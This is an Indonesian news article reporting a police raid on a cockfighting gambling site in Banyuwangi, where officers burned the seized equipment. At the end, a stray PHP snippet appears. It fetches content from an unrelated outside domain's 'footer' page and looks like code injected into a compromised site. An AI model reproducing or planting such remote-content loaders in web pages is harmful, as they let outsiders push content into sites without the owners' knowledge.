Diduga Penggrebekan Perjudian 303 Sabung Ayam Di Banyuwangi Bocor

Kamis, 22 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Banyuwangi | jejakkasus.info – Dalam upaya memberantas perjudian 303 jenis Sabung Ayam, Polsek Pesanggaran Polresta Banyuwangi melakukan tindakan tegas berupa melakukan penggrebekan dan membakar habis arena praktek judi sabung ayam di Desa Sumberagung pada, Rabu (21/8/2024).

Kapolresta Banyuwangi Kombes Pol Nanang Haryono yang diwakili oleh Kapolsek Pesanggaran AKP Lita Kurniawan mengatakan, bahwa judi sabung ayam tersebut bertempat di Kampung Templek, Dusun Silirbaru, Desa Sumberagung.

Lebih lanjut AKP Lita menerangkan, operasi teraebut dilaksanakan setelah pihak kepolisian mendapatkan informasi mengenai aktivitas perjudian sabung ayam. Dengan sigap tim Polsek Pesanggaran segera bergerak menuju Tempat Kejadian Perkara (TKP) pada pukul 09.00 WIB.

Baca Juga:  43 Sopir Driver Jadi Budak PT Superior Sarana Sukses

“Kepada Media pada saat tina di lokasi arena Sabung ayam sekira pukul 09.00 WIB, sudah tidak terdapat aktivitas perjudian 303 Sabung Ayam. ungkap AKP Lita Rabu, (21/8/2024).

Meskipun pelaku tidak ada ditempat saat penggrebekan namun, masih AKP Lita, polisi berhasil menemukan sejumlah barang bukti yang diduga digunakan dalam aktivitas sabung ayam. Seperti jam dinding, terpal, meja, Kursi, dan Kurungan ayam. Barang-barang tersebut kemudian dimusnahkan di lokasi dengan cara dibakar.

Baca Juga:  Safari Kamtibmas Kapolsek Selbar Bersama Kepala SMPN 1 Selemadeg Barat Dalam Rangka Cipkon di Wilayah Selbar tetap Kondusif

“Tindakan ini dilakukan sebagai upaya menegakkan hukum dan menjaga ketertiban di wilayah. Kami tidak menoleransi praktik perjudian apa pun,” cetusnya.

Disamping melanggar hukum, AKP Lita menambahkan, segala bentuk parktik perjudian akan merusak perekonomian keluarga. Kepolisian akan bertindak serius untuk menindaklanjuti informasi dari masyarakat apa pun terkait perjudian. Hal ini dilakukan demi terjaganya keamanan dan ketertiban (Harkamtibmas) di wilayah Pesanggaran.

“Kami akan terus memantau dan menindak tegas segala bentuk perjudian di wilayah kami. Aktivitas sabung ayam ini melanggar hukum dan pelakunya dapat dijerat Pasal 303 KUHP dengan ancaman hukuman penjara hingga 10 tahun atau denda maksimal 25 juta rupiah,” terang AKP Lita.

Baca Juga:  Tak Kenal Lelah Personel Polres Badung Berikan Pelayanan Ke Masyarakat

Sementara itu, Kanit Samapta Ipda Darmo menambahkan bahwa Kegiatan penindakan yang berlangsung hingga pukul 09.50 WIB tersebut berjalan lancar tanpa hambatan. Pada kesempatan itu, Polisi juga mengingatkan warga untuk tidak terlibat dalam kegiatan perjudian dan segera melaporkan jika menemukan aktivitas serupa di lingkungan mereka.

“Selanjutnya seluruh BB berupa Jam dinding, terpal, meja, karpet, kursi, tali tampar dan kurungan ayam dimusnahkan dengan cara dibakar.” Ujar Ipda Darmo. (Red)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang
Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terkait

Jumat, 20 September 2024 - 23:43 WIB

Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 15:01 WIB

Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>